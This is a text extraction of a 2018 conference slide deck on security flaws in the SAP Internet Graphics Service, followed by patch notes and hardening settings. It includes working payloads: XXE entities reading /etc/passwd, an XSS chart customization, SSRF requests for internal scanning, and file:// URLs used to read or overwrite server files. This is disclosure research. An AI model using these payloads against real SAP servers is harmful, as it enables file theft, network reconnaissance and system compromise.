• Home

  • Documents

  • S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and...
105
SAP IGS SAP IGS THE 'VULNERABLE' FORGOTTEN COMPONENT THE 'VULNERABLE' FORGOTTEN COMPONENT Yvan GENUER - Troopers 2018

S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Embed Size (px)

Citation preview

Page 1: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

SAP IGSSAP IGSTHE 'VULNERABLE' FORGOTTEN COMPONENTTHE 'VULNERABLE' FORGOTTEN COMPONENT

Yvan GENUER - Troopers 2018

Page 2: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

DISCLAIMERDISCLAIMERCan't disclose too much

Nothing hardcore

Skipping 'What is SAP' part

Page 3: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

BAPI_USER_GET_DETAILBAPI_USER_GET_DETAIL-------------------------------------------------- | Import parameters | Value | | | USERNAME | Yvan GENUER | CACHE_RESULTS | X --------------------------------------------------

Page 4: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

BAPI_USER_GET_DETAILBAPI_USER_GET_DETAIL10 years SAP Admin and security hobby

5 years focus on SAP Security

Devoteam

CTF Player/Challenge author

Page 5: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

AGENDAAGENDASAP IGSChart generatorZip serviceSpool serviceImage converterSecuring IGSConclusion

Page 6: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

AGENDAAGENDASAP IGSChart generatorZip serviceSpool serviceImage converterSecuring IGSConclusion

Page 7: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

WHY DID I CHOOSE IGS ?WHY DID I CHOOSE IGS ?CURIOSITYCURIOSITY

Page 8: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

WHY DID I CHOOSE IGS ?WHY DID I CHOOSE IGS ?SUSPICIOUSSUSPICIOUS

Only few public vulnerabili�es...

Page 9: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Mar�n O'Neal

865403 - IGS is vulnerable to directorytraversal a�acks via HTTP

2005

Page 10: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Mariano Nunez Di Croce

965201 - IGS HTTP administra�oncommands

959358 - IGS HTTP administra�on isnot possible

2006

Page 11: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Mark Litchfield

1018575 - Cross-site scrip�ng (XSS)using the IGS

2007

Page 12: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

2014 (lib�ff related)

2017 (libpng related)

2018479 - Poten�al remote codeexecu�on due to buffer overflow in lib�ff

2380277 - Memory Corrup�onvulnerability in IGS

Page 13: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

WHAT IS SAP IGSWHAT IS SAP IGS

Page 14: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

SAP Internet Graphics ServiceGenerates graphics or charts

for example in EarlyWatch Alert reportsProvides other services

zip files, convert images, etcAccessible through RFC or HTTP(S)Available as integral part of the SAP Web AS 6.40

Page 15: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author
Page 16: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

4<SN>00 RFC Listener

4<SN>80 HTTP Listener

4<SN>01 Portwatcher 1

4<SN>02 Portwatcher 2

...

root@sapsrv3:~# ss -lntp | grep igs LISTEN 0 128 *:40000 *:* users:(("igsmux_mt",pid=28225,fd=9)LISTEN 0 20 *:40001 *:* users:(("igspw_mt",pid=28226,fd=7)) LISTEN 0 20 *:40002 *:* users:(("igspw_mt",pid=28227,fd=7)) LISTEN 0 128 *:40080 *:* users:(("igsmux_mt",pid=28225,fd=6)

Page 17: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author
Page 18: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

SAP helph�ps://help.sap.com/viewer/3348e831f4024f2db0251e9daa08b783/7.5.10/en-

US/4e193ea5b5c617e2e10000000a42189b.html

https://help.sap.com/viewer/3348e831f4024f2db0251e9daa08b783/7.5.10/en-US/4e193ea5b5c617e2e10000000a42189b.html
Page 19: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Not a lot of documenta�on

But enough to start with :)

Page 20: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

AGENDAAGENDASAP IGSChart generatorZip serviceSpool serviceImage converterSecuring IGSConclusion

Page 21: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author
Page 22: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

HOW DOES IT WORK ?HOW DOES IT WORK ?XMLCHART: generates business graphicswith XML-based customizing and XML-based data (BI 7.x Chart Item, BSP, WD)

Page 23: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

SIGS / Goto / Test / Chart engine

report : GRAPHICS_IGS_CE_TEST

Page 24: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Googling this reportfound something named SAP Chart Designer

Then a SAP Note about it

2072652 - SAP Chart Designer cannotbe downloaded from SAP service

marketplace

Page 25: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

with a XML Format.pdf in a�achments

Page 26: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

data.xml<?xml version="1.0" encoding="utf-8"?> <ChartData> <Categories> <Category>ALttP</Category> </Categories> <Series label="Hyrule"> <Point> <Value type="y">1991</Value> </Point> </Series> </ChartData>

Page 27: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

A�er few manual tests, the correct request is :curl -sKL -X POST "http://sapserver:40080/XMLCHART" \ -H "Content-Type: multipart/form-data" \ -F "[email protected]"

Page 28: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

SAP IGS responds...# curl -sKL -X POST "http://sapserver:40080/XMLCHART" -H "Content-T<A name="Picture" href="/output/Picture_1516177943140686138582784-<A name="Info" href="/output/Info_1516177943140686138582784-113270

Page 29: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

VULN #1VULN #1XML did you say ?

... XXE ?

Page 30: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

<!ENTITY lol SYSTEM "/etc/os-release">

works but limited to 440 chars and... on an picture

Page 31: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Found report GRAPHICS_GUI_CE_DEMOIt manages customizing.xml

Page 32: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

no�ce something...

Can I put href a�ribute on my chart ?... <Title> <Visibility>true</Visibility> <Extension>href=&quot;sapevent:onclick?Title&quot;</Extension> <Caption>Caffeine Consumption</Caption> ...

Page 33: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

custo.xml<?xml version="1.0" encoding="utf-8"?> <SAPChartCustomizing version="1.1"> <Elements> <ChartElements> <Title> <Extension>href=&quot;https://www.troopers.de&quot;</Exten </Title> </ChartElements> </Elements> </SAPChartCustomizing>

Page 34: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

A 3rd file is generated !

# curl -sKL -X POST "http://sapserver:40080/XMLCHART" -H "Content-T<A name="Picture" href="/output/Picture_1516178409140686138582784-<A name="ImageMap" href="/output/ImageMap_151617840914068613858278<A name="Info" href="/output/Info_1516178409140686138582784-113224

# curl http://sapserver:40080/output/ImageMap_15161784091406861385<area shape=rect coords="0, 0,0, 0" href="https://www.troopers.de"

Page 35: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

custo_xxe.xml<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE Extension [ <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <SAPChartCustomizing version="1.1"> <Elements> <ChartElements> <Title> <Extension>&xxe;</Extension> </Title> </ChartElements> </Elements> </SAPChartCustomizing>

Page 36: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author
Page 37: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

VULN #2VULN #2Is this "3rd" file a .htm ?

... XSS ?

Page 38: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

custo_xss.xml<?xml version="1.0" encoding="utf-8"?> <SAPChartCustomizing version="1.1"> <Elements> <ChartElements> <Title> <Extension>&gt;&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;body&g </Title> </ChartElements> </Elements> </SAPChartCustomizing>

Page 39: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author
Page 40: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

AGENDAAGENDASAP IGSChart generatorZip serviceSpool serviceImage converterSecuring IGSConclusion

Page 41: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author
Page 42: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

HOW DOES IT WORK ?HOW DOES IT WORK ?ZIPPER zips mul�ple input files (BW 3.5

/ BI 7.x BEx Broadcaster).

Page 43: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

SIGS / Goto / Demonstra�on / Zip

Page 44: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

report : GRAPHICS_IGS_ZIPPER_DEMO

Page 45: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

report : GRAPHICS_IGS_ZIPPER_DEMO

Page 46: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

class : CL_IGS_ZIPPER

Page 47: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

class : CL_IGS_ZIPPER

Page 48: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Method : RENDER_XML

Page 49: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

zip.xml<?xml version="1.0" encoding="UTF-8"?> <REQUEST> <COMPRESS format="zip"> <FILES> <FILE name="file1" path="/EasternPalace" size="17"></FILE> <FILE name="file2" path="/DesertPalace" size="17"></FILE> </FILES> </COMPRESS> </REQUEST>

Page 50: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Like XMLCHART, request is mul�part type :curl -sKL -X POST "http://sapserver:40080/ZIPPER" \ -H "Content-Type: multipart/form-data" \ -F "[email protected]" \ -F "file1=@file1" \ -F "file2=@file2"

Page 51: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

SAP IGS responds...<A name="META" href="/output/META_1516180866140686113404672-112978<A name="ZIPFILE" href="/output/zipfile_15161808667687400.zip">ZIP

Archive: zipfile_15161808667687400.zip Length Date Time Name --------- ---------- ----- ---- 17 2018-01-17 01:21 /EasternPalace/file1 17 2018-01-17 01:21 /DesertPalace/file2 --------- ------- 34 2 files

Page 52: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

VULN #3VULN #3Overflow...

Page 53: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

I was manually tes�ng inputs like a normal end user...

... when a Portwatcher crashed

$(python -c "import string;print string.printable") $(python -c "print 'A'*10000")

<TITLE>SAP Internet Graphics Server</TITLE></HEAD><BODY> <H2><B>500 Internal Server Error</B></H2><BR><HR> <BR>Error in interpreter communication<BR><BR><HR>

Page 54: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author
Page 55: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Ok DoS here. Exploitable ?

strchr() before vulnerable func�onif \x00 in our payload -> invalid xml errorthe vulnerable func�on isn't reached

Page 56: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

AGENDAAGENDASAP IGSChart generatorZip serviceSpool serviceImage converterSecuring IGSConclusion

Page 57: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author
Page 58: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

HOW DOES IT WORK ?HOW DOES IT WORK ?RSPOCONNECTOR provides an

interface to communicate with printers.

Page 59: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

SIGS / Goto / Test / RSPO Connector

Page 60: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

report : GRAPHICS_IGS_RSPO_TEST

... nothing useful

Page 61: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Search for class name like : cl*igs*CL_RSPO_IGS_SNMP

Page 62: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

method : GET_SAPSPRINT_VERSION

Page 63: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

No xml inputIt appears that the report sends a "string" to IGS

Page 64: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

It is also a mul�part/form-data requestExample for GetSapSprintProtocolVersion :

curl -sKL -X POST "http://sapserver:40080/RSPOCONNECTOR" \ -H "Content-Type: multipart/form-data" \ -F "RspoVersion=1" \ -F "RspoConnRequest=GetSapSprintProtocolVersion" \ -F "SapSprintHost=host" \ -F "SapSprintPort=515"

Page 65: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Spent a lot of �me to build a SAPSprint serverLot of failed hereBut found a li�le thing...

Page 66: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

VULN #4VULN #4Simple SSRF...

Page 67: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Using request GetSapSprintProtocolVersionWe can specify op�ons :

SapSprintHostSapSprintPort

Return Code is writen in file :"/output/RspoConnReturnCode_<blabla>"

Page 68: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Could be used for internal scanning

By evalua�ng the error log code

Page 69: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

attacker -> SAP IGS -> internal SAP

192.168.123.51 192.168.123.13

10.11.12.13 10.11.12.2

Page 70: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author
Page 71: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

AGENDAAGENDASAP IGSChart generatorZip serviceSpool serviceImage converterSecuring IGSConclusion

Page 72: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author
Page 73: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

HOW DOES IT WORK ?HOW DOES IT WORK ?IMGCONV is a service for conver�ngone graphic format (for example, GIF)

into another (for example, TIFF).

Page 74: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

You know the process now...

SIGS / Goto / Demonstra�on / Image Converter

Page 75: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

report : GRAPHICS_IGS_IMGCONV_DEMO

Page 76: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

report : GRAPHICS_IGS_IMGCONV_DEMO

Page 77: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Method : RENDER_XML

Page 78: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

img.xml<?xml version="1.0" encoding="UTF-8"?> <IMAGE> <WIDTH>100</WIDTH> <HEIGTH>100</HEIGTH> <INPUT>image/png</INPUT> <OUTPUT>image/gif</OUTPUT> <GET_URL>http://anywhere.com/Agahnim.png</GET_URL> <PUT_URL>http://somewhere.com/Ganon.gif</PUT_URL> </IMAGE>

Page 79: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

FAILED TESTSFAILED TESTSRequest very large imageUpload other types of fileUpload valid image with embeded payloadXXE...

Page 80: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

VULN #5VULN #5Arbitrary Image upload...

Page 81: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

I was interested by how the h�p request is made

ImageConverter::GetImageFromUrl

gdb-peda$ info functions Url All functions matching regular expression "Url": ... 0x00007ff1a84e02c0 ImageConverter::PutImageToUrl(char const*, ImageConverter::tImage const*, char**) 0x00007ff1a84e03a0 ImageConverter::GetImageFromUrl(char const*, int, unsigned char**, unsigned int*) ...

Page 82: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

During my test I send

Then hit the verifica�on test

So the next jump is not taken...

<GET_URL>IAmError</GET_URL>

=> 0x7ff1a84e03d7 <_ZN14ImageConverter15GetImageFromUrlEPKciPPhPj+ repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] RSI: 0x7ff180000b30 ("IAmError") RDI: 0x7ff1a86dc9bc --> 0x6172620070747468 ('http')

Page 83: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

... But another test is made=> 0x7ff1a84e044f <_ZN14ImageConverter15GetImageFromUrlEPKciPPhPj+ repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] RSI: 0x7ff180000b30 ("IAmError") RDI: 0x7ff1a86b6fdd --> 0x206f4e00656c6966 ('file')

It tests if our url begins with "file" !

Page 84: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Could "file://" be valid url ?YES :)

GET_URL and PUT_URL, both are vulnerable

Page 85: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

INFORMATION GATHERINGINFORMATION GATHERINGUsing GET_URL on SAP system itselfEvalua�ng error log :

File doesn't exist

File exists

<ERROR code="1">Unknown file format</ERROR>

<ERROR code="3">Image data corrupt</ERROR>

Page 86: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author
Page 87: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author
Page 88: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

EVIL THINGSEVIL THINGSOverwrite exis�ng fileLike the SAP Kernel

Page 89: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author
Page 90: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

AGENDAAGENDASAP IGSChart generatorZip serviceSpool serviceImage converterSecuring IGSConclusion

Page 91: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

SAP SECURITY NOTESAP SECURITY NOTE2525222 - Security vulnerabili�es in SAP IGS

2538829 - Open Source So�ware Security Vulnerabili�es in SAP IGS

Page 92: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

UP TO DATEUP TO DATENo miraclePart of SAP KernelNot a 'SAP Upgrade'Less business impact

Page 93: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

PARAMETERSPARAMETERSDeac�vate h�p admin page

Disable PUT_URL feature

igs/listener/http = 4$(SAPSYSTEM)80

ALLOW_PUT_URL = 0

Page 94: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

TRACE & LOGSTRACE & LOGSAdd IGS Logs to your log manager

igs/tracelevel = 1

/usr/sap/<SID>/Dxx/igs/log/mux_<hostname>.trc /usr/sap/<SID>/Dxx/igs/log/pw_<hostname>_<x>.trc

Page 95: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

IGSTEST.PYIGSTEST.PY

Page 96: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

IGSTEST.PYIGSTEST.PYAnother not maintained toolTes�ng what ? if version == old then warning ?Forget this idea... but...

Page 97: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

PYSAPPYSAP>>> from pysap.SAPIGS import * >>> p = SAPIGS() >>> p.canvas_dump() >>>

Page 98: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

SAP-DISSECTIONSAP-DISSECTION

Page 99: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

Supports RFC and HTTP requestsFew pysap examples scriptsBoth released for Troopers

Page 100: S AP I GS - download.ernw-insight.de · B AP I _ U S E R_ GE T _ DE TAI L 10 years SAP Admin and security hobby 5 years focus on SAP Security Devoteam CTF Player/Challenge author

